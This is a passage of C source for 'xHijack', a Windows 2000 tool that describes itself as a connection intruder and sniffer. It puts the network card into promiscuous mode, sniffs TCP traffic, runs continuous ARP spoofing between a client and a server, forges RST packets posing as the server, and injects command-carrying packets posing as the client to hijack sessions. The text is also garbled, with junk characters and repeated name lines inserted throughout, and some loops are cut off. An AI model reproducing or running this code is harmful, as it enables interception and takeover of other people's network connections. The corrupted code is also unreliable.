if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) # ^# `$ i; R' W: g) | { printf("Unable to retrieve the list of the adapters!\n"); 4 `) D: r; ~3 `4 f7 N return 0; } temp = temp1 = AdapterName; . u0 Z% I5 e. S x3 W i = 0; p5 y, D- T4 Z- I6 ^+ J while ((*temp != '\0')||(*(temp-1) != '\0')) 5 t+ l2 b+ Q f" {+ S& {6 i { * T9 L) ?6 r h# d, f7 f: ^9 o+ C if (*temp == '\0') { : ]( `+ S$ J% q memcpy(AdapterList,temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList); 8 m8 f$ K- n! C9 m2 { temp1=temp+1; % a$ q4 S$ }4 X0 {1 N i++; 4 d4 B( S, e0 h# E } - ~2 n8 R% u6 }! J temp++; } //choose adapter 9 ~, ^. n W2 \ while((iAdapter <= 0) || (iAdapter > i)) 8 x9 @# T* D: G. @% J9 K { : |; `: k- W3 T& z' I1 l printf("\nPlease choose your Adapter:"); scanf("%1d", &iAdapter); ; h- r9 J0 C0 I9 c7 H } printf("\n"); //---------------------------------------------// //这里调用iphlpapi来取得本地ip_addr和mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ( h O# `# [" ~( Z4 ]! {$ s; Z dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); - N5 S$ `7 o1 H- w1 ? if(dwRet != ERROR_BUFFER_OVERFLOW) { / N1 t; s$ Y i- C* z6 c9 [5 F1 N printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) + t, a& g. M: I" e' n& B6 F6 F { 2 G0 W" {4 l o) ?0 V4 z; u! _ printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); * t$ f- C7 T* R9 V( i return 0; } dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { + Q8 e! l6 V( m/ ~/ i+ S printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } ( w( M+ d' u. J) |4 p. u/ ] pTmp = pAdapterInfo; & a7 t# K) Q. F/ U while(pTmp) { //字符匹配

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 2 ~# K' [+ V! v8 }/ F; Z { //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); //get ip address pIPAddr = &pTmp->IpAddressList; 3 s5 ]: d& i; a7 o, z while(pIPAddr) # z& z8 X5 e! [" w8 x { " M, S# V% w( F% I$ o( A g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); pIPAddr = pIPAddr->Next; if(g_TotalIP >= Max_Num_IPAddr) break; # F7 L5 x" ~1 {" t3 E2 [ } 8 O6 C7 t9 D$ d' ? break; , k5 E7 y; U, k } 9 s+ x D: t6 c3 j! c- z pTmp = pTmp->Next; } free(pAdapterInfo); + y- l5 M1 [) W, L+ k //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// % b9 s% F1 |$ o6 R: m //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ( ^+ K& ~; Q9 j1 b- a5 q9 l if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { # H& M& o/ L( n7 @, Z% m# h iRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } # g5 ~9 n% B5 J // set the network adapter in promiscuous mod % a2 _. J. w0 M0 e2 K if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { ! L. I0 H! A$ a% o printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 8 t; _# Z. E! b( e. @ if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { printf("Unable to set ALL_LOCAL mode!\n"); return 0; } / }3 ?4 Y4 P% G& e- m4 P } // set a 512K buffer in the driver 5 j' P* D# K. r0 W" Z4 |/ G: l+ M if(PacketSetBuff(lpAdapter, 512000) == FALSE) { printf("Unable to set the kernel buffer!\n"); 1 t: l9 z' q9 k# C return 0; * F. J: q0 M- m } // set a 1 second read timeout if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) printf("Warning: unable to set the read tiemout!\n"); 5 l6 S' \: | y# k- w) u if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); //设置发送的packet g_lpSendPacket = PacketAllocatePacket(); if(g_lpSendPacket == NULL) # o( ~, x: w7 a% {& {7 Z0 r { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 4 L9 d: X, O. D5 h/ Y, o return 0; + L7 C8 i8 v4 d# b7 j/ ^ } $ }. t* B- P; x4 p% G ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); * X0 T. U5 D' j' W/ a PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); return lpAdapter; . l8 }8 Y* j* C; ?} ! V u$ V- M. B9 o4 e' C Z# U //功能：帮助信息 void usage() 8 `3 @/ E9 |/ \4 q{ printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" j4 k$ H& j. m& W; v "By eyas 2002/8/19\n" 1 u6 g4 L z# u, c. U U; e "http://www.ey4s.org\n" ( m0 F# i1 @. Q& \0 o6 g8 j3 n) x "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); & h! z# b4 M7 z7 e3 }} 8 B7 \% r. M1 U$ e- T% f 2 c- p. K+ g2 `. u) `' k// //功能：显示数据包的一些详细信息 // ( _# R9 s5 ~: k9 C- Y2 _- m) v) dVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { SOCKADDR_IN saDest, saSrc; 9 y* w1 r- h, i. h. Z unsigned char FlagMask; int i; 6 a. j1 n) E4 G/ D* h! _ saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), - Q3 d3 x% u4 ^( ?8 w+ U ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 1 [# j0 M, e% C { if((pTCPPacket->tcphdr.th_flag) & FlagMask) D- J+ S7 o; Y printf("%c", g_szTcpFlag); else printf("-"); } 0 d- T5 q6 j7 `9 o0 l printf("\n"); 3 W0 p/ o0 x- u //如有需要，可显示更多详细的信息 if(bDetail) printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ! }! A/ b6 T! M1 ~' z8 g; @0 h} 1 g9 I5 }: \, m" I$ S7 |7 J // //功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 ' I+ _" T4 a5 a$ R// / d5 N7 W$ W1 @& N) B# ?DWORD WINAPI AnalysePacketsThread(LPVOID lp) 8 u, R( `6 A+ x{ " {0 T( z( Q) Y ULONG ulBytesReceived; USHORT usDataLen; //USHORT usIPHeadLen, usTCPHeadLen; char *buf; # w* A; r9 X) C7 c& @1 V- y4 ]& W u_int off, i; PTCPPACKET pTCPPacket; 1 b. Z" Q3 ~6 k, p4 D struct bpf_hdr *hdr; LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; 9 R% q% J/ O" J/ K BOOL bDeleteNode, bAddNew; * {8 k Y8 u. w1 e4 j3 D1 s5 q DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端 + \5 P8 P4 ^/ e " j1 @1 P9 j( q% _2 w# c K3 n/ c //设置接收的packet 0 H2 n6 G$ F N! ~- M lpRecvPacket = PacketAllocatePacket(); if(lpRecvPacket == NULL) 9 C' E& b0 G6 W) c* Y/ v2 |7 C+ z { # a4 t5 F! U2 m, \; d k3 } printf("Error:failed to allocate the LPPACKET structure for recv.\n"); ' e9 k* G; n8 [+ c8 B2 o return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); - |7 `2 b6 X+ Y* C+ [1 Y PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 2 V" t, O; v) n6 ]! L while(1) { & N5 M9 c+ Y( u4 A' H3 h8 r% @ // capture the packets ?+ L# Y5 w; u7 F/ | if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 1 b2 ?4 T, W7 P' V5 }+ O* f { printf("Error: PacketReceivePacket failed.\n"); break; } + |/ |+ D, U) @; R3 a t ulBytesReceived = lpRecvPacket->ulBytesReceived; buf = lpRecvPacket->Buffer; / d! g% k# h5 Q1 s% ^9 ? off = 0; while(off < ulBytesReceived) { " `" g" P* r; B0 U/ Z9 o+ L( k hdr = (struct bpf_hdr *)(buf + off); 5 t/ Q' m1 `2 H# A! o) s/ b# Q off += hdr->bh_hdrlen; pTCPPacket = (PTCPPACKET)(buf + off); 3 G, D8 d1 k9 e6 l% f# x9 o off = Packet_WORDALIGN(off + hdr->bh_caplen); //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 7 g" @. `* e; u$ `$ H/ F! N, z- H //检查是否IP包 4 q6 y3 B" J3 a, O+ z if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; : P Z9 X# C+ h //检查是否TCP包 if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; " Q! A% R2 C' Y* g: ?3 X, D/ A* y //也不处理DestIP是自己的包 9 {; j* f$ `( o. W" S3 k, z; f for(i=0; i

韩冰

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
            //reset action flag
- P- @) o' D( r( C            ResetActionAllFlag();
          }
          //start hijack
0 t2 l; }" K9 D4 N& ]8 @5 A          else if(g_dwAction == ACTION_HIJACK)
2 Y4 m  [- c# E+ c; @( R          {
            //send rst packet to client
& v+ `; W7 y* L" Q. `            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
            //send hijack packet to client
9 d/ x+ S/ }7 D" n. |            SendHiJackPacket(pTCPPacket);
            //reset action flag
            ResetActionAllFlag();
0 R0 l- q1 |/ D3 e0 }. G          }
2 r$ N! _1 i1 p- ]  h        }
        //show the tcp data
/ ~8 T, U% K: N        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
        {
* f2 T" P- [$ I) U- U" @5 T          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
. g* @8 b" U  n1 S2 z          //暂不考虑IP、TCP头不是20字节的情况
' P/ F# d8 |0 @' @' N" [          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
! }7 P! p% F, w, G+ P          pStr = (char *)pTCPPacket + 54;
          for(i=0; i        }
; K, k1 K( }5 w0 Q0 j& s      }
      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
6 X) \* I! u, s; G, Y1 h, ~& _  }//end of recv packets while
5 `! Y1 `0 |( C0 ^  PacketFreePacket(lpRecvPacket);
  return 0;
}
, s; b  @  Q( o/ I' g

//
//功能：操作记录所有连接信息的单向链表
/ L! R/ a+ ?6 Q0 F//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
& ]2 y3 N+ W5 z+ t6 @) I{
  PCONNINFO  pNew, pTmp;

0 O1 u% z5 F9 o  pTmp = g_pConnHead;
  while(pTmp)
5 v* b' S2 K- K1 W  {
. k+ m% c! w( W( n7 t    if(pTmp-&gt;bActive)
    {
, u6 N+ \: r6 R      //found it
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
        (pTmp-&gt;uClientPort == uClientPort) )
      {
' z2 h& K  B. C8 U        if(bDelete)
% L  T9 W+ s' a1 o* h        {
          pTmp-&gt;bActive = FALSE;
          return 0;
' f, H3 L, x/ G; }# q9 j) e        }
2 }: B. v6 Y' F        else return pTmp-&gt;ident;
      }
    }
- m8 t; f  ^% S- K2 Q    pTmp = pTmp-&gt;Next;
  }
  //not found, create new node
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
  {
1 g& @6 @1 _" [3 L2 h3 k* h8 f, b    //search unactive note
, v/ O" J. M  F3 ?4 d8 [    pTmp = g_pConnHead;
7 X! H: S6 ]; O* [+ Z9 M    while(pTmp)
5 E' R9 t0 I3 \5 I! S" n) P0 |' g    {
4 @% r, F  A) }) b4 @      if(!pTmp-&gt;bActive) break;
      pTmp = pTmp-&gt;Next;
# \; o9 P5 l# o9 T! ^4 C" K( s    }
    //found a unactive node
    if(pTmp)
    {
      pTmp-&gt;dwServerIP = dwServerIP;
      pTmp-&gt;uServerPort = uServerPort;
8 H  x- I7 X0 ?% Z. B+ q' x      pTmp-&gt;dwClientIP = dwClientIP;
      pTmp-&gt;uClientPort = uClientPort;
& y# [7 G5 h! |6 A+ u# A) S      pTmp-&gt;bActive = TRUE;
      return pTmp-&gt;ident;
' d0 e6 ^8 q; Y' H8 v& B3 c: i    }
    //not found,create new node
: S" d* u) o6 b( l. F) C+ N5 y    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
/ Z1 {7 L0 z2 I% S" L/ L8 i    if(!pNew)
    {
      printf("malloc for link node error:%d\n", GetLastError());
      return 0;
    }
    //fill the struct
$ o* B* I0 V" X! R8 T% R6 N" n6 v    pNew-&gt;bActive = TRUE;
9 ]- A, K# n  E4 h0 d    pNew-&gt;dwServerIP = dwServerIP;
8 e9 y* T& u2 h    pNew-&gt;uServerPort = uServerPort;
    pNew-&gt;dwClientIP = dwClientIP;
9 M# b% R% T: s: j- A8 ]    pNew-&gt;uClientPort = uClientPort;
    pNew-&gt;ident = ++g_ident;
    pNew-&gt;Next = NULL;
/ w  S! t% u( i2 L+ n# i    //add new node to link
    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
8 W) o* `+ o! e- Z    else
3 R' r, K& o( D$ S2 h- q" p( ~    {
      g_pConnLast-&gt;Next = pNew;
      g_pConnLast = pNew;
    }
9 L+ ?; A" c# O6 u    return pNew-&gt;ident;
  }
  return 0;
}
0 q& f- K* |$ i9 G0 ]
+ H# G# m% |( m3 b6 N! k//
3 M* q  O( I  o* L9 E9 A: ~//功能：判断一个数据包是不是只有ACK标志
//
BOOL IsACKPacket(unsigned char flag)
  b8 w! h! q. r8 q. m( z{
  int  i, j=1;
  for(i=0 ; i&lt;4; i++)
. B( ?* m$ w4 c- ]7 P" D  {
    if(flag &amp; j) return FALSE;
1 D# X  @( l: X) D, q    j &lt;&lt;= 1;
  }
, `, R4 `( S; m. k7 A5 X  if(!(flag &amp; 0x10)) return FALSE;//is ack?
3 [# K  t; W! [$ Z1 s- t  if(flag &amp; 0x20) return FALSE;
' n2 M7 I7 f* g! ]9 a; J  return TRUE;
, ?! M% N* b& ]! f. c5 o}

) {- l. R8 Y$ O" O//
! l. f6 |! c# I3 C5 h' _1 J//功能：伪装成Client给Server发送数据包
//
- l; X- Q8 s6 W) J4 c* RBOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{

  char    szBuff[1520];
  PSDHDR    psdhdr;
  PTCPPACKET  pHiJackPacket = NULL;
2 l1 ^) b7 Q+ H+ y  BOOL    bRet = FALSE;

  __try
- |5 w& v( r* m% J# D  x  {
+ k  r0 c- F5 H# u, W    //
! @- T: [# p! F9 ]+ Y    if(!g_pCurrCtrlConn) __leave;
+ `* f& a8 {/ c% \' m    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pHiJackPacket)
7 U. _  r2 \; z  }  |! |    {
1 T$ o# i' v3 Q+ n  `9 Q      printf("malloc error:%d\n", GetLastError());
      __leave;
/ M* @- e7 W4 p& a    }
/ N3 X* A& m# I# ^    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
    //-------------- modify the packet ---------------//
- v0 m  I1 h$ |$ d* x! c, a% i    //modify ethernet head
% f4 h# ?# o2 |6 p  C2 |# R5 w    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
6 [6 J, v# f" u1 Y    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
    //modify ip head
: T6 O% i3 `/ _$ N6 ~$ ^4 x    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
; {8 a% F9 ?$ P0 p    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
    pHiJackPacket-&gt;iphdr.checksum = 0;
1 |8 {  c+ d3 F, z1 `    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
6 M7 l; q7 f; Q/ j% g3 y4 n0 T    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
! _' Q# `: C7 D4 j0 q. N    //modify tcp head
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
4 \8 U5 H  h; m  Z6 w' D    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
5 ~% C1 L8 m4 O3 ]% G, n/ G/ f    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
- |. P2 P3 x" C# v; {, r    pHiJackPacket-&gt;tcphdr.th_sum = 0;
: J" Z1 Y& H+ r( K6 o1 _    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
! F% n0 o' V2 J1 @) j& p    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
7 M5 |+ z  ~; [/ W0 V+ c. n    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
2 B  A% R4 k$ e: A    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
9 m6 }0 H: i+ ?    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
/ R( d7 j6 f$ R- h/ Z. [2 y. p    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
3 R2 l' W% j' v3 R    //calculate IP checksum
  b7 P! z: ]: J    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
$ G) a9 p0 E* v) n* S    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
8 N. A9 `. r& v    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the hijack packets!\n");
/ P; M! A; P  A3 V; D% j1 ]      __leave;
    }
    else printf("Send hijack packet ok!\n");
. v/ ^" @4 H" |. b( x, R- ^    bRet = TRUE;
  }

韩冰

__finally
8 h9 B- K0 T1 ]# }  {
( m& _# `: g, o* e3 K; |    if(pHiJackPacket) free(pHiJackPacket);
  }
  return bRet;
}


//
! U  ?' n7 j4 J$ F" Q//功能：伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
5 ~* B/ I4 @! |# T{
  char    szBuff[60];
" c; Q% A; n: U! y* Q  PSDHDR    psdhdr;
  PTCPPACKET  pTcpPacket = NULL;
  BOOL    bRet = FALSE;
) I' j" n4 q$ P3 o1 U- O$ k
  __try
  {
    //检查当前指向想控制的连接的信息的指针是否为空
    if(!g_pCurrCtrlConn) __leave;
: X% o0 d& s: p; P# i    //allocate memory for rst packet
) _4 r+ A, m: v  R- n    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
  Z2 K: d( m8 f/ M    if(!pTcpPacket)
: t6 @, p7 o  v1 K  X    {
      printf("malloc error:%d\n", GetLastError());
  z; {9 t) j. n      __leave;
    }
    //fill ethernet head
( |8 f6 I% r' J1 c& D6 \: E    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
4 [5 s/ c) [" K$ Y1 i! V) x0 f+ I3 A    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
6 A( s3 ?9 b3 [8 i2 e    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
    //fil ip head
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
' s+ l. B1 c1 b  u$ p    pTcpPacket-&gt;iphdr.tos = 0;
) d8 G/ V# @% j1 F( t" w    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
/ Q$ D& I: I, q. `# E    pTcpPacket-&gt;iphdr.ident = 1;
1 _. T- y3 |* B' F8 @2 c4 Z: w    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
    pTcpPacket-&gt;iphdr.checksum = 0;
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
6 B5 b* s+ j. ^. C, P1 d; a    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
0 V9 Q( V7 Y5 G5 e& H- g1 e    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
) c2 W$ u2 v. y9 F4 b    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
/ Y* p( W" f7 Z    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
    pTcpPacket-&gt;tcphdr.th_win = 0;
    pTcpPacket-&gt;tcphdr.th_urp = 0;
    pTcpPacket-&gt;tcphdr.th_sum = 0;
; N5 Z+ S6 a, [4 n) Q" J2 E+ c* S    //fill tcp psd head
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
/ B4 @8 g7 u! @" P  Q    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
! o# d: ]  v- w4 R    psdhdr.mbz = 0;
; Q# R; x% Z( m7 L5 E6 ~    psdhdr.ptcl = IPPROTO_TCP;
! r( E; R4 k7 Q    psdhdr.tcpl = htons(sizeof(TCPHDR));
    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
$ ?& l! q, A% s# k) ~+ U    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer
( m) H% M9 U6 A! G    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
9 b& L. X; V% @! L: y    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
  h& j' b- z; C    {
) C, V# A5 q, Y$ o5 }) y' F      printf("Error sending the rst packets!\n");
/ \: @+ F* Z5 R      __leave;
8 [) D7 j! f% o; K9 ~* Q" z+ o" a    }
    else printf("Send RST packet ok!\n");
* f. n4 [4 q- w    bRet = TRUE;
. t2 k" A) V+ j7 _  }
5 U0 x  S& c: n% E  __finally
  {
8 f* ^; Q7 r) l. @. w$ q    if(pTcpPacket) free(pTcpPacket);
4 F* Z  i9 J& ]  l+ z6 O  }
  return bRet;
}
0 G, u9 ]7 F7 a  W# p
//
& c! E( }' r3 a! _//功能：计算校验和
0 }6 b) r  h  M' m6 C/ }//
: N2 t  W3 M/ ^2 I( r+ ^, Z+ _: oUSHORT checksum(USHORT *buffer, int size)
5 F8 ?2 J1 Z( n; ^2 Z3 l{
unsigned long cksum=0;
while(size &gt;1) {
* {2 i; n) c( M$ R& T( h  cksum+=*buffer++;
  size -=sizeof(USHORT);
( N& f: V1 J8 _& j/ u8 _ }
if(size ) {
  cksum += *(UCHAR*)buffer;
2 z3 k+ e: Q3 w: i; [( d0 w' X, t( Z }
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
5 M9 k4 \: g' H& D+ H cksum += (cksum &gt;&gt;16);
7 d! D- w% `0 ~; o* D3 @1 H# U return (USHORT)(~cksum);
}
" W8 G5 G: r, F2 z" n( ^: x" o+ q, O
! D: J! ]  C4 i+ n$ r5 S8 H/ p( G) Y" Q//
//功能:实施ARP欺骗
- i* U; y5 X9 |# O7 U//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
0 f; Y  A, L9 h1 x//
: u7 t( v3 o+ W4 I9 s9 Z  g6 h8 XDWORD WINAPI ArpSpoofThread(LPVOID lpType)
9 d0 U0 m) d# @+ B{
& j. @) e: T# W& L( F  int  iType = *(int *)lpType;
  ARPPACKET  ArpPacket;
  LPPACKET  lpArpPacket;
6 J: |* g& c' O5 M- S0 }  char    szArpBuff[60];

  switch(iType)
4 @4 ~; S, t' P) A2 g! k3 c  {
    case 1:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
& g6 C) ?# n0 v. q+ x( e' _      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
  N9 H: m) d0 E, t: l) g      break;
! k; b6 x  l. M- f' x0 \/ u4 ^    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
      break;
5 q# E! O( R5 K. S5 R6 u- {4 a3 W: @    default:
. H; N5 ]( C2 M0 e9 R) }' j      return 0;
  }
1 d  |: E# u9 Q6 p/ F" A! G  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  //arp head
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
7 Q- L- i- ]3 K' Z  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
) z" x- ~# k/ B4 m8 P; H  ArpPacket.arphdr.ProType = htons(EPT_IP);
  ArpPacket.arphdr.op = htons(2);//arp reply
7 ?: i% `# e0 U2 ]
  lpArpPacket = PacketAllocatePacket();
- n! h3 _$ M! H5 J  if(lpArpPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
    return 0;
  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
1 |# E  s6 T) K  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
2 w  y2 w) _$ M( f$ u' F7 v  PacketInitPacket(lpArpPacket, szArpBuff, 60);
9 L1 s& U/ L+ N9 n! v  //send arp packet
  while(1)
3 |, Z% `4 Q3 Z! Q1 q( D  {
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
    {
      printf("Error sending the arp spoof packets!\n");
4 I* e4 j( H& X, [; Y+ R      return 0;
    }
3 C1 w0 `1 ~" U! e7 @  y    Sleep(1000);
3 a( z# g, a. v  }
* o  Q! q" A: e7 b* S8 S9 J" @# a  return 0;
( y' V, x2 h; W}

//
//功能：输入IP取得对应的MAC地址
